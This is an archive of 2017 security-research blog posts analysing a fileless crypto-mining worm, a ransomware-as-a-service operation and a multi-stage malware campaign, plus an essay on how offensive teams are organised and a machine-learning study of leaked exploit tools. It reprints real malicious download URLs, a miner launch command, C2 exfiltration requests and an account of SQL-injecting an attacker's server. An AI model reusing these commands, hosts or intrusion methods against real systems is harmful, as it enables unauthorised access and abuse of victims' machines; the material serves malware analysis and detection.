Tuesday, September 26, 2017

Advanced 'all in memory' CryptoWorm

Introduction.

Today I want to share a nice Malware analysis having an interesting flow. The "interesting" adjective comes from the abilities the given sample owns. Capabilities of exploiting, hard obfuscations and usage of advanced techniques to steal credentials and run commands. 

The analyzed sample has been provided by a colleague of mine (Alessandro) who received the first stage by eMail. A special thanks to Luca and Edoardo for having recognized XMRig during the last infection stage.   

General View.

The following image shows the general view of the entire attack path. As you might appreciate from the picture, that flow could be considered a complex flow since many specific artifacts were included in the attack phases.  The initial stage starts by abusing the user inexperience taking him/her to click on a first stage file called  (in my case) y1.bat. Nowadays eMail vector is one of the most favorite vectors used by attackers and easily implemented to deliver malicious contents. Once the first stage is run, it downloads and executes a second stage file called info6.ps1: a heavy obfuscated PowerShell script which drops (by de-obfuscate it directly on body) three internal resources: 
  1. Mimikatz.dll. This module is used to steal user administrative credentials.
  2. Utilities. This module is used to scan internal networks in order to propagate the infection, it is used to run several internal utilities such as (but not limited to): de-obfuscation routines,  ordering arrays and running exploits. This module is also used to drop and execute an additional file (from the same server) named info.vbs.
  3. Exploits. This module is a set of known exploits such as eternalblue7_exploit and eternal_blue_powershell used from the initial stage of attack to infect internal machines .
Full Stage Attack Path

The last stage (info.vbs) drops and runs an executable file which has been recognized to be XMRig. XMRig is an open sourced Monero CPU Miner, freely available on github. The infection tries to propagate itself by scanning and attacking internal resources through the Exploit module, while the XMRig module mines Monero cryptocurrency giving to the attacker fresh "crypto money" by stealing victims resources. 

Analysis.

A romantic but still "working" .bat file is propagated to the victim by email or message. Once the user clicks on it, the .bat file would run the following command spawning a powershell able to download and run a script called info6.ps1 from http://118.184.48.95:8000/

Stage1: Downloads and Run 
The downloaded powershell file is clearly divided into two macro blocks both of them obfuscated. The following image shows the two visual sections which I am going to call them: "half up" (section before the "new line") and "half down" (section after the "new line").

Stage2: Two Visual Sections to be explored
While the "half up" section fairly appears to be a Base64 encoded text file, the "half down" section looks like encoded through a crafted function which, fortunately (and certain), appears in clear text at the end of such a file. By editing that function it is possible to modify the decoding process making it saving the decoded text file directly to a desired folder. The following image shows the decoded second stage "half dow" section.  

Decoded Second Stage "Half Down"
Analyzing the section code it would be easy to agree that the main used functions are dynamically extracted from the file itself, by performing a substring operations on the current content.


$funs=$fa.SubsTrIng(0,406492)

$mimi=$fa.sUBStrInG(406494,1131864)

$mon=$fa.suBstrING(1538360,356352)
$vcp=$fa.sUBStRiNG(1894714,880172)
$vcr=$fa.sUBstrINg(2774888,1284312)
$sc=$fa.sUBsTrinG(4059202)

  
The content of $fa variable and every function related to it is placed in the "half up" section which after being decoded looks like the following image.

Decoded Second Stage "Half Up"
The second stage "half up" code is borrowed from Kevin Robertson (Irken), the attacker reused many useful functionalities from Irken including the Invoke-TheHas routine which could be used through SMB to execute commands or to executes direct code having special rights. 

A surprisingly interesting line of code is found on the same stage (Second stage "half down"): NTLM= Get-creds mimi mimi  where the Get-creds function (coming from the Based64 decoded "half up") runs, by using the reflectoin techique, a DLL function. So by definition the mimi parameter has to be a DLL file included somewhere in the code. Let's grab it by running the following code: $fa.sUBStrInG(406494,1131864) Where 406494 is the start character and the 1131864 is the last character to be interpreted as a dynamic loaded library. Fortunately the dropped DLL is a well known library, widely used in penetration testing named Mimikatz. It would be clear that the attacker uses the Mimikatz library to grab user (and eventually administrators) passwords. Once the passwords stealing activity is done the Malware starts to scan internal networks for known vulnerabilities such as MS17/10. The identified exploits have been borrowed from tevora-thrat and woravit since same peace of codes, same comments and same variable names have been found. If the Malware finds vulnerability on local area networks it tries to infect the machine by injecting itself (info6.ps1) through EthernalBlue and then it begins its execution from the second Stage.

On the same thread the Malware drops and runs a .vbs file (Third Stage) and it gets persistence through WMIClass on service.

Introducing the Third Stage
 The info.vbs drops and executes from itself a compiled version of XMRIG renamed with the "mimetic" string: taskservice.exe.  Once the compiled PE file (XMRig) is placed in memory the new stage starts it by running the following commands.

Third Stage Execution of Monero Miner
The clear text Monero address is visible on the code. Unfortunately the Monero address is not trackable so far. 

Monero address: 46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE

and the used server is: stratum+tcp://pool.supportxmr.com:80
w.run "%temp%\taskservice.exe  -B -o stratum+tcp://pool.supportxmr.com:80 -u  46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE  -o stratum+tcp://mine.xmrpool.net:80  -u  46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE -o stratum+tcp://pool.minemonero.pro:80   -u  46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE -p x" ,0
Many interesting other sections should be analyzed but for now lets stop here.

IOC.

Please find some of the most interesting IoC for you convenience.

- URL: http://118.184.48.95:8000/
- Monero Address: 46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE
- Sha256: 19e15a4288e109405f0181d921d3645e4622c87c4050004357355b7a9bf862cc
- Sha256: 038d4ef30a0bfebe3bfd48a5b6fed1b47d1e9b2ed737e8ca0447d6b1848ce309

Conclusion.

We are facing one of the first complex delivery of cryptocoin mining Malware. Everybody knows about CryptoMine, BitCoinMiner and Adylkuzz Malware which basically dropped on the target machine a BitCoin Miner, so if you are wondering: Why Marco do you write: "one of the first Malware" ? Well actually I wrote one of the "first complex" delivery. Usual coins Malware are delivered with no propagation modules, with no exploiting module and with not file-less techniques. In fact, the way this Monero CPU Miner has been delivered, includes advanced methodologies of memory inflation, where the unpacked Malware is not saved on Hard Drive (a technique to bypass some Anti Virus) but it is inflated directly on memory and called directly from memory itself. 

We can consider this Malware as a last generation of -all in memory- CryptoWorm. 

Another interesting observation, at least on my personal point of view, comes from the first stage. Why the attacker included this useless stage ? It appears to be not useful at all, it's a mere dropper wth no controls nor evasions. The attacker could have delivered just the second stage within the first stage in it, assuring a more stealth network fingerprint. So why the attacker decided to deliver the CryptoWorm through the first stage ? Maybe the first stage is part of a bigger framework ? Are we facing a new generation of Malware Generator Kits ? 

I wont really answering to such a questions right now, but contrary I'd like to take my readers thinking about it.

Have fun

Monday, July 31, 2017

TOPransom: From eMail Attachment to Powning the Attacker's Database

Hi folks, today I want to share a quick but intensive experience in fighting cybercrime. I wish you would appreciate the entire process from getting an email attachment to powning the ransom server trying to stop the infection and to alert everybody about the found threats. As a second step I would try to identify the attacker in order to give additional information to law enforcements, those actions would not be published. 

But, let's start by having a little bit of context:

During the past few days a colleague of mine (MarcoT.) gave me an interesting eMail attachment called: 71878378709_708463.zip (sha256:fdd1da3bdd8f37dcc04353913b5b580dadda94ba).
By unzipping the attachment, it was interesting to see a single .vbs file. By double clicking a .vbs file the victim would run it through microsoft wscript.exe which fires up the infection process. The eMail belongs to a more complex spamming set spread over USA and coming few days ago to Europe as well.

The visual basic script was obfuscated, as you may appreciate from the following image, but the used obfuscation technique was quite weak to reverse. In fact only one round of packing was adopted and after few substitutions "clear text strings" were observable.

Obfuscated Dropper

Interesting techniques were introduced in this dropper. First of all a lot of junk code (apparently good code) was added in order to make reverse engineering process much harder. Very interesting the choice of such a code apparently taken from real droppers but not linked to the analized one. Another interesting adopted technique was on the "User-Agent" settings, which happened to be the key-factor to download the real payload.  The dropper per-se is not interesting anymore. It basically uses a romantic WScript.Shell to execute a 'MZ' file once downloaded from compromised websites (IoC later on). The Dropped file is returned directly into the HTTP response body and saved with a static name in temporary user folder: saToHxy.exe. The dropper file renamed VB objects and VB functions to make everything a little harder.

Saving Dropper into user temporary file with static name

As today the dropping URLs are the following ones:
  • castillodepalazuelos.es/rf734rgf?
  • 2010.sggt-wh.de/rf734rgf?
  • actt.gr/rf734rgf?
As mentioned a romantic Shell.Run would execute the dropped payload. The Payload (sha356:6a51d0cd9ea189babad031864217ddd3a7ddba84) looks like a one-stager payload. No heavy encryption nor multi staging delivery is involved, clear and intuitive user functions within enabled debugging headers.


No Packing found

Firing up IDA and reversing the sample showed up small encoded payload through XOR and some anti debugging tricks such as the timing control and performance monitoring as follows:


Anti-Debugging tricks: Timing and Performante control
Following on the analysis it becomes clear the spread use of Secure Handler Exception Chain exploiting technique. By triggering exceptions the attacker calls modified exception handler functions able to decode the payload and to allocate it directly on the new memory pages, ending up on "call eax" section. The following image shows the decoding loop.

Decoding Loop on 0x3001220
Following a piece of decoded memory area (configuration file), decoded by 0x03001220.

Decoded Memory Area
Dynamic Analysis took out the evidence of a Ransomware payload. In fact following on the decoded payload by getting far on memory site the analyst could observe the ransom HTML page (next image). I would prefer to show out a rendered "ransom request page" rather than a junk of hexadecimal bytes. (sha256: cdb3fef976270ab235db623d6a4a97ea93c41dd1) The ransom page looks looks like the following image.

Ransom Request Rendered File
I will call this Ransomware the "TOPransom" since the funny and evident mistake the attacker made in writing the ransom request file in where he suggested to download the TOP Browser rather then the TOR Browser :D (LOL). The TOPransom encrypts files and changes the file extensions with a alphanumeric extension, usually made of 3 characters (why "usually" ? Because looking at the attacker's db it looks like that, but I didn't find evidence on that). The modified extension is used as a hidden parameter in the ransom page. The following image shows some hidden features used by the attacker to bring informations to the control server.

POST request to buy the decrypter
Particularly interesting (at least in my persona point o view) the hidden input type called "FB" which looks like piggy backing two informations to the command and control (ransom server) such as: the extension and some hexadecimal content included in a crafted tag called "pre". By clicking on "Yes I want to buy" the victim POST such a data and are prompted to the following page asking for 0.18 BTC in order to get files back.

Request for ransom
 The FB hidden value "made me curious". By changing the first value (the one before the statement "pre") you would appreciate different BTC wallets with different asking prices. The following image shows the different results.

Request for ransom 2

This makes the system vulnerable to "balance enumeration" and to "denial of resources". In fact by enumerating the attacker wallet space I will perform a duplice action: if the wallet exists I'll take its balance, if the wallet does not exists the backend will create a new wallet, filling up the attacker reserved space for wallet creation. This action could block the new wallet creation ergo new infections.  So lets' write a simple dirty python script to force new wallet creation and money mapping.


Forcing New Wallets to limitate further infections (please do not consider this script as production ready script. Do not consider it as best implementation for such a goal)


Following on the analysis by playing a little bit further with that parameter (FB) I figured out it was vulnerable to SQL Injection. What a nice surprise !! The vulnerable parameter was the crafted tag called "pre" which vulnerable to code injection, which triggered SQLinjections.

SQLi on C&C server !

So let's try to pown the Attacker ! As first sight you may observe a MySQL error with not a latin characters. Google Translator says it is a Russian language ! Now we know that the attacker belongs, with high probability, to the Russian community. By investigating a little bit harder on the DB, only TOR availability and super slow, I found the botids and the relatives tasks. Please have a look to incremental ids and try to immagine how big was that network.

Bot Ids and relative locations

Another interesting topic was to investigate which were the system users(a.k.a the attackers). In other words the users of such a ransomware-as-a-service-platform" which happened to be the real attackers. Since It looks like a "Ransomware as a service" platform figuring out how many dollars the attackers were able to gain over time its my next goal. The following obfuscated image shows some of the found usernames, passwords (chipertext) and wallets the attackers used to gain profit.

Attackers Username, Passwords and Wallets
My attention ended up on that guy: god.true@xmpp.jp
That guy is related to the following private wallet: 1P3t56jg5RQSkFDWkDK3xBj9JPtXhSwc3N


As you might guess there are two main wallet types:
- Public wallets which store the victim's money. They are the public available wallets, everybody got infected must now them in order to pay the ransom.
- Private wallets which are the "real ones" belonging to attackers.  Private wallets got money from public wallet once reached the end of the attack. Platform charges are applied during that transaction.

Having the private wallet means to have the possibility to track down transactions history. Transactions history is a great source to figure out if that guy made more illegal activity over the past months. Following the go.true@xmpp.jp 's private wallet. We may observe interesting transactions as showed in the following image


Transaction From   1P3t56jg5RQSkFDWkDK3xBj9JPtXhSwc3N

That wallet which is DB-related to god.true@xmpp.jp, made huge amount of transactions back on 2017-04-23 and 2017-04-20 by moving out from its wallet 81,87 BTC harvested by many small and similar transactions! If we include the harvested BTC from this attack which currently have balance 13 BTC,  he or she is close to 100 BTC transactions. How about 2017-04 (do you remember any famous attack on that time ? :P) With high probability the attacker looks like abusing illegal activities (such as ransomware activities) more then once a time, this boy/girl -- with a high probability -- is a recurring attacker. By investigating a little bit more on that email address it's easy to find heavy relations between got.true@xmpp.jp and https://vlmi.su/ which is a Russian based Market Place where attackers buy and sell attacking tools, information and experiences.

After few more crafted SQL queries I was able to extract the "inst" talbe. Fields names are the following ones:

ID, IP, FB, OS, TIMED, TIMEIN. COUNTRY, BRWSER

Yes come one ! This table records the infected clients, let's see if we can do something to help them ! 
A simple DB count showed me more 2k infections so far. Not bad for being a plain new ransomware  as a service. The Targets look like being very spread all over the world. So far it's possible to extract the following country distribution.

TOPransom Victims Distribution

I will not disclosure IP addresses in order to guarantee victims privacy. Another interesting data comes from the victim browser distribution (another parameter collected by the attacker). Curiously the most used browser on windows devices is Chrome as the following image shows. [remember] The infection vector wasn't through web browser but through wscript.exe which opens .vbs by double click on it. [/remember]

TOPransomware victims browser distribution


On this post I've been describing the activity that took me from an email attachment to drop the entire attacker's database on a Ransomware as a Service platform that I called TOPransom. I've being trying to enumerate attacker's income and to mitigate the spreading vector by filling up wallets creation per user by writing a quick and durty python script.

Following IoC for your detection systems. Have fun !


IoC (summing up):
  • dropper .vba (sha256:fdd1da3bdd8f37dcc04353913b5b580dadda94ba)
  • saToHxy.exe (sha256:6a51d0cd9ea189babad031864217ddd3a7ddba84)
  • castillodepalazuelos.es/rf734rgf?
  • 2010.sggt-wh.de/rf734rgf?
  • actt.gr/rf734rgf?
  • https://n224ezvhg4sgyamb.onion.link/efwdaq.php
  • RECOVER-FILES-html (sha256: cdb3fef976270ab235db623d6a4a97ea93c41dd1)
  • Bot location: http://oeirasdigital.pt
  • Bot Location: http://jflo.ca/
  • TOP Browser

Thursday, June 15, 2017

False Flag Attack on Multi Stage Delivery of Malware to Italian Organisations

Everything started from a well edited Italian language email (given to me from a colleague of mine, thank you Luca!) reaching out many Italian companies. The Italian language email had a weird attachment: ordine_065.js (it would be "Order Form" in English) which appeared "quite malicious" to me.

By editing the .js attachment it becomes clear that it is not an "order form" but contrary it turns out to be a downloader. The following image shows the .JS content. Our reverse adventure is going to start: we are facing a first stage of infection.

Stage 1: Downloader
The romantic dropper (code on the previous image) downloads and executes a PE file (let's call it Second stage) from 31.148.99.254. The IP address seems to be hosted by a telecommunication company who sells cloud services such as: dedicated servers, colocation systems, and so on located in Ukraine. The used language in the current stage perfectly fits the dropping website language. Please keep in mind this language since later on, it would become a nice find.

By listing the http://31.148.99.254, we might appreciate an nice malware "implant" where multiple files are in place, probably to serve multiple attack vectors (es: emails, or tag inclusions, or script inclusion into benevolent html files). My first analysis was on obf.txt (the following image shows a small piece of it) which woke up my curiosity.

Lateral Analysis: obf.txt
That piece of VB code, could be used to obfuscate VBScripts. Many pieces of code belonging to obf.txt are related to the Russian Script-Coding.com thread where dab00 published it on  2011. Another interesting file is the Certificate.js which shows the following code.

Lateral Analysis: Certificate.js
Quite an original technique to hide a Javascript File ! As you might see private and public keys are quoted by resulting a valid .js file which would be correctly interpreted by a js engine. Following this way, before getting into our real attack path represented by the set.tmp file, from Stage: 1 (ref. Image Stage: 1), the decision landed on performing some slow and intensive manual transformations in order to evaluate the result of GET "http://88.99.112.78/js/P8uph16W" (content in the following image). Certificate.js gets that data and evaluates it through the function: eval(""+Cs+"")

Lateral Analysis: P8uph16W evaluated javascript
Once beautified it becomes easier to read:

Lateral  Analysis: Fresh IoC on Dropper 2
Now, it's obvious that it tries to: (i) download stat.exe from third party web sources, (ii) to rename the downloaded file using the Math.random().toString(36).substr(2, 9) + ".exe" and to (iii) launch it by using the var VTmBaOw = new ActiveXObject("WScript.Shell");  This is super fun and interesting but I am getting faraway from my original attack path.

So, let's assume the downloaded file are the same (really they are not) and lets get back to our original Stage 1 where a romantic .JS dropper downloads the "set.tmp" file and executes it  (please refer to image Stage 1: Downloader).

The dropped file is: 00b42e2b18239585ed423e238705e501aa618dba which is actually evading SandBoxes and AntiVirus engines. It is a PE file which has been implemented in a valid .NET compiled source. Let's call it Stage 2, since coming after the Stage 1 ;). Decompiling the "Second stage" some "ambiguous and oriental characters" appear as content in the "array" variable (please refer to the following code image).

Stage 2: Oriental Characters in array
 By following those "interesting strings" ("interesting strings" by meaning to be faraway from the previous detected language) I landed on a "reflective function" which used a .NET Assembly.Load() to dynamically load the binary translation of the "array"-variable and an EntryPoin.Invoke() to dynamically run the binary. This is a well known .NET technique exploiting the .NET language ability to introspect its own runtime.

Stage 2: Assembly.Load and EntryPoint.Invoke
  
In order to get the dynamically generate binary "array"-variable I decided to patch the Sample code. The following picture shows how the .NET has been patched, in other words by simply forcing the control flow to saves the dynamically generated content on HD (the red breakpoint). In this specific case we are facing a third stage of infection composed by an additional PE file (Let's have a look to HexEditor for the  'MZ' string). Let's call it Stage 3.

Stage 3: Decrypted PE
In order to create the Stage 3, Stage 2 needed to decrypt the binary translation of "array" variable. Analysing the .NET code is not hard to figure out where Stage 2 decrypts the Stage 3. The Decryption loop has been implemented through a simple XOR-based encryption  algorithm within a hardcoded key as shown in the following image.

Stage 2: decryption key
The decrypted new stage (named: Stage 3) happens to be an interpreted PE file as well !  It is built over Microsoft VisualBasic technology (Do you remember the  Lateral Analysis ??) and it's hardy obfuscated (maybe from obf.txt ? ... of course !). The following image shows the Third Stage structure.

Stage 3: Structure
The structures highlights three main modules as follows:

1) Anti Module. Aim of such a module is to implement various evasion techniques in order to weaponize  the sample and block execution on VMs.
2) Service. Aim of such a module is to launch a background service.
3) RunPe. Aim of such a module is to launch an additional encrypted PE file placed in the resource folder.

Let's try to investigare a little bit better what these modules do. The Anti Module tries to figure out if the analysed sample lands on a controlled (emulated and/or simulated) environment in order to change its behaviour. The following images shows some of the performed checks. The sample tries to identify SanBoxie, fiddler and wireshark in order to dynamically change its own behaviour.

Stage 3: evasion checks

The service module tries to spawn a windows service and to disable many Windows features such as for example (but not limited to): EnableLUA, DisableCMD, DisableTaskMgr, etc... The following image shows some of the described actions.

Stage 3: Disabling Windows "Protections"
 Finally the RunPE modules decrypts a further encrypted and embedded resource an tries to run it. The following images show the decryption loop following by the decrypted payload.

Stage 3: Decryption Loop

Stage 3: decrypted payload

On line 253 the Third Stage decrypts the resource and executes it. In the above picture you might appreciate the decrypted sequence: 0x4D, 0x5A, 0x90 which happens to be an additional windows PE. Let's call it Stage: 4.  The new stage appears to be a classic PE file written on C++, we'll need a debugger to get into it.  By analysing its dynamic behaviour (thanks to IDA Pro) it has been easy to catch the dropped files and to understand how that Sample uses them. The following image shows two dropped files  (.nls and .bat) being saved on the HardDrive after the Stage 4 call.


Stage 4: dropping files (.nls and .bat)
The resulting .bat file tries to execute (through cmd.exe /c)  %1 within the parameter %2 as shown in the next picture. If the file to be executed does not exist in HD it deletes the original file as well (itself).

Stage 4: file execution

%1 is an additional dropped PE File while %2 is a "random" value (key? unique id?).

Stage 4: Interesting "keys" passed to the .bat file.
Once the sample is run it performs external requests such the following ones, exfiltrating encrypted informations:

GET /htue503dt/images/uAsMyeumP3uQ/LlAgNzHCWo8/XespJetlxPFFIY/VWK7lnAXnqTCYVX_2BL6O/vcjvx6b8nqcXQKN3/J6ga_2FN2zw6Dv6/r5EUJoPCeuwDIczvFL/kxAqCE1du/yzpHeaF3r0pY4KFUCyu0/jDoN_2BArkLgWaG/fFDxP.gif HTTP/1.1

POST /htue503dt/images/YtDKOb7fgj_2B10L/MN3zDY9V3IPW9vr/JSboSiHV4TAM_2BoCU/LocIRD_2B/MEDnB2QG_2Bf2dbtio8H/_2BLdLdN21RuRQj3xt2/SDWwjjE2JeHnPcsubnBWMG/NJUCRhlTnTa9c/5Dzpqg92/AypuGS6etix2MQvl1C8/V.bmp HTTP/1.1

Conclusions:
Interesting to observe the sample complexity and how it is currently spread over Italian organisations. Interesting (at least on my personal point of view) how False flag attacks are developed in order to confuse the attack attribution (which is nowadays a huge technical issue)  as well. Unfortunately nowadays through the information I have it is not possible to attribute that attack, the dropper has Russian strings on it, one of the payload has "oriental characters" on it, but again I am not able to say the attack is the result of a "joint venture" from Russia and China or it's something hybrid or again it is borrowed or acquire from one to another, etc.. etc... For sure it's not as it appears :D ! 

Index Of Compromise:
Following some of the most interesting Index Of Compromise.

http://88.99.112.78/
http://31.148.99.254/
http://mezzelune.com/arch/stat.exe
http://online.allscapelawnservices.com/arch/stat.exe
http://quotidianoannunci.it/arch/stat.exe
9b8251c21cf500dcb757f68b8dc4164ebbcbf6431282f0b0e114c415f8d84ad0
6456cd84f81b613e35b75ff47f4ccd4d83ec8634b5dcdf77f915fe7380106b28
5ab04878b630d1e0598fb6f74570f653a6bd0753dad9ef55ecf467bee7e618e1
 4605dc8f1bc38075eacf526a1126636aa570fccbe78dca69781cc25edd1a1043
3fc092b52e6220713d2cb098c6d11a56575c241f
610df2672d7cae29e48118a27c4cb2a531e6399b
c304502aa7217399acc0162f41da00dc4add4105
magicians-blog.info
ozarkpatternconcrete.info
androidtutorials.info
executenet.pw
base.vuquoctrung.info/htue503dt
base.magicians-blog.info/htue503dt
base.ozarkpatternconcrete.info/htue503dt
base.androidtutorials.info/htue503dt
executenet.pw/htue503dt

Monday, June 5, 2017

The Offensive Cyber Security Supply Chain

During the past few weeks some people asked me how to build a "cyber security offensive team". Since the recurring question I decided to write a little bit about my point of view and my past experiences on this topic without getting into details (no: procedures, methodologies, communication artifacts and skill set will be provided). 

Years ago a well skilled and malicious actor (let me call him hacker, even if I am perfectly aware this is not the right word) could launch a single and sophisticated attack able to hit significative infrastructures causing large and glaring damages.  Nowadays this scenario is (fortunately) more unlikely since cyber defense technology made huge steps ahead and public/private organizations are teamed in blue teams with cyber security experts. The most doubtful of my readers are probably thinking that offensive technology made a huge steps ahead as well, ad I perfectly agree with you ! However you might probably agree with me that attacks complexity is arising a lot, in fact years ago to perform a successfully cyber attack you didn't need intermediations such anonymizers, malware evasion techniques, fast flux, DGA and -- more generally speaking -- all the required techniques to trick (or illude) blue teams, since no blue teams (or very few of) were existing. My point here is pretty clear, while years ago a single hacker was enough to attack a structured system (for example: ICS, Governative Networks, or Network Corporation) nowadays if you really want to successfully create a cyber security "army" you need a structured group of people. Talented people are very important but not as they were during the past years. On my personal point of view talented people should move from technical operations to organizational operations. I'll try to better explain my point of view following the reading.

The question now gets pretty easy: "What that group does ? And ..  how should it be organized ?".
 A team is usually a group of people that works together in order to reach a common target. The target should be clear to every team member (if you want a performing team) and every team member should share the same team belief to get the tasks done -- in order to quickly reach out the targets.

The group of people making an "offensive cyber security group" is not a "team" (as mentioned before) but it is closed to be a software supply chain where everybody has specific tasks and different targets. Let me putting in this way, if your task is to build a PDF parsing library you don't need to know where your library will be used, since your target is to build a generic and reusable library. Someone could use your library for a nice "automatic invoice maker" or for "injecting malicious javascript into a PDF" and for you (the PDF library writer) nothing should change. For such a reason I would not call this "group of people": Offensive Cyber Security Team but rather Offensive Cyber Security Supply Chain (OCSSC). Every step of the supply chain is made by specific team.
  
As every supply chain, the OCSSC needs common rules, methodologies and best practices to be shared between the every stages such as:
- Communication Artifacts. What are the artifacts to be exchanged between the supply chain teams?
- Procedures. What are the global procedures that shall be followed between teams ? What the procedures needed intra-team ?
- Tools. What are the most useful tools to be used intra-team ? and what tools to be used extra-team ?
- Skill Sets. What are the skill sets needed for each team ? 
- Recovery procedure. What are the special procedure to recovery plan intra team ?

I am not going into that questions since my goal is not to help my readers in building an OCSSC but contrary is to alert blue teams that offensive people are getting day by day more structured and purposeful. However I will give a broad view on how the OCSSC should be made in 2017.

The following image shows 5 stages representing 5 different teams which shall collaborate together through well known artifacts.

Offensive Cyber Security Supply Chain


I call the first team the Hunters. This team should be able to find new exploitable vulnerabilities on common software. This team needs to have strong infiltrates into hacking community in order to eventually acquire 0Days from 3-parties and to have update and sharpy fuzzers. This team needs a private cloud with intensive computational resources for getting fuzzing to several parallel softwares. It gets feedbacks on how to "fuzz" from community and from the "DEV-stage" team which should indicate to the Hunters what is the most interesting software to investigate for vulnerabilities. On a real life this team could be the one who finds vulnerabilities like for example the infamous MS17-10.

I call the second team: DEV- Stage. This team is mainly made by developers. Aim of dev-stage is to develop droppers starting from exploits. In fact it takes exploits artifacts from the "Hunters" and arm the developed exploit kits and/or weponize the developed worm. The Staging team should be able to answer to the question: "How do I technically infect victims" ? The Dev-Stage gets two artifact as input: one from the Payload team suggesting what kind of dropping method do they need, and the other one from Intruders which will suggest the Staging team to focus more on "web" or more on "physical" or more on "dedicated devices" and son on. On real life this team could be the one who builds exploit kits and or dropping technology such as for example "ethernal blue".

I call the third team DEV- Payload. This team is mainly made by developers and software testers. Aim of DEV- Payload is to build the dropped payload. This team needs to take care about communications channels, system persistence, evasion techniques and extensibility. It gets artifacts from staging team in order to perform deep and well structured tests and feedbacks from Intruders which suggest what functionalities should be developed in order to reach the Intruder's target.  In the real life this team is the one who develops Malware (or RAT) such as for example: WannaCrypt0r or DoublePulsar.

I call the fourth team Intruders. Intruders are the ones who perform the first intrusion actions. This team gets as input artifacts such as: (1) the deployed dev-stage (for example the Exploit Kit to be implanted) and (2) the developed payload (for example the Malware to be dropped on target system). It also gets feedbacks from the social team getting suggestions on what website and/or infrastructure to be attacked. The intruders are not developers but mainly penetration testers people who get access to external sources (such as: public web sites or public infrastructures) and compromise them injecting the Dev-Stage artifacts. The intruders might need to build new infrastructure such as new websites, or new public resources in order to fully arm a target system. In the real life this team could be the one who infects public websites with Exploit Kits such as for example: Angler, Neutrino or Terror EK.

I call the fifth team The Socials. This team is mainly made by communicators, marketing people who are able to perform the following actions: on one site getting and giving light artifacts (A2l) from/to the hacking community in order to get persistence on it and on the other hand to attract targets to the prepared infrastructures (made by intruders). They give feedbacks to intruders in order to move their operations to what really is useful to attacked target. On real life this group is the most close to Human-Intel.

Every team in the Offensive Cyber Security Supply Chain needs to work together but without knowing external team targets. Every team is charged of specific goals. Communication  artifacts, sharing tools, operational tools play fundamental roles in getting things done.  A talented supervisor is needed in order to get smooth communication between teams and to organize the overall supply chain. This is one of the most important roles who must belong to a great leader be able o deal with super talented and technical people. The supervisor should know very well: methodologies, processes, best practices and he shall have a brilliant view of the overall scenario. He shall have an intensive technical and hacking background and he should never stop to learn from other members. Great communication skills are required in order to develop leadership.

My post was about Offensive Cyber Security Supply Chain. The goal of this quick blog post was to move forward common blue teams and defense agencies by increasing their awareness on how OCSSC should be made in 2017. We are currently experiencing a big move forward in OCSSC from single talented individuals to well structured and organized supply chains, we need to enforce and to structure defenses as well.  







Saturday, April 29, 2017

ShadowBrokers Leak: A Machine Learning Approach

During the past few weeks I read a lot of great papers, blog posts and full magazine articles on the ShadowBrokers Leak (free public repositories: here and here) released by WikiLeaks Vault7.  Many of them described the amazing power of such a tools (by the way they are currently used by hackers to exploit systems without MS17-010 patch) other made a great reverse engineering adventures on some of the most used payloads and other again described what is going to happen in the next feature.

So you probably are wandering why am I writing on this discussed topic again? Well, I did not find anyone who decided to extract features on such tools in order to correlate them with notorious payloads and malware. According to my previous blog post  Malware Training Sets: A machine learning dataset for everyone I decided to "refill" my public gitHub repository with more analyses on that topic.

If you are not familiar with this leak you probably want to know that Equation Group's (attributed to NSA) built FuzzBunch software, an exploitation framework similar to Metasploit. The framework uses several remote exploits for Windows such as: EternalBlue, EternalRomance, Eternal Synergy, etc.. which calls external payloads as well, one of the most famous - as today- is DoublePulsar mainly used in SMB and RDP exploits. The system works straight forward by performing the following steps: 

  • STEP1: Eternalblue launching platform with configuration file (xml in the image) and target ip.

Eternalblue working

  • STEP2: DoublePulsar and additional payloads. Once the Eternablue successfully exploited Windows (in my case it was a Windows 7 SP1) it installs DoublePulsar which could be used as a professional PenTester would use Meterpreter/Empire/Beacon backdoors.  

DoublePulsar usage
  • STEP3: DanderSpritz. A Command and Control Manager to manage multiple implants. It could acts as a C&C Listener or it might be used to directly connect to targets as well.

DanderSpritz


Following the same process described here (and described in the following image) I generated features file for each of the aforementioned Equation Group tools. The process involved files detonation into multiple sandboxes performing both: dynamic analysis and static analysis as well. The analyses results get translated into MIST format and later saved into json files for convenience.


In order to compare previous generated results (aka notorious Malware available here) to the last leak by figuring out if Equation Group is also imputable to have built known Malware (included into the repository), you might decide to use one of the several Machine Learning frameworks available out there. WEKA (developed by University of Waikato) is a romantic Data Mining tool which implements several algorithms and compare them together in order to find the best fit to the data set. Since I am looking for the "best" algorithm to apply production Machine Learning to such dataset I decided to go with  WEKA. It implements several algorithms "ready to go" and it performs auto performance analyses in oder to figure out what algorithm is "best in my case". However WEKA needs a specific format which happens to be called ARFF (described here). I do have a JSON representation of MIST file. I've tried several time to import my MIST JSON file into WEKA but with no luck. So I decided to write a quick and dirty conversion tool really *not performant* and really *not usable in production environment* which converts MIST (JSONized) format into ARFF format. The following script does this job assuming the MIST JSONized content loaded into a mongodb server. NOTE: the script is ugly and written just to make it works, no input controls, no variable controls, a very quick naive and trivial o(m*n^2) loop is implemented. 

From MIST to ARFF

The resulting file MK.arff is a 1.2GB of pure text ready to be analyzed through WEKA or any other Machine Learning tools using the standard ARFF file format. The script is going available here. I am not going to comment nor to describe the results sets, since I wont to reach "governative dangerous conclusions" in my public blog. If you read that blog post to here you should have all the processes, the right data and the desired tools to be able to perform analyses by your own. Following some short inconclusive results with no associated comments.

TEST 1:
Algorithm: Simple K-Mins
Number of clusters: 95 (We know it, since the data is classified)
Seed: 18 (just random choice)
Distance Function: EuclideanDistance, Normalized and Not inverted.

RESULTS (square errors: 5.00):

K-Mins Results

TEST 2 :
Algorithm: Expectation Maximisation
Number of clusters: to be discovered
Seed: 0

RESULTS (few significant clusters detected):

Extracted Classes
TEST 3 :
Algorithm: CobWeb
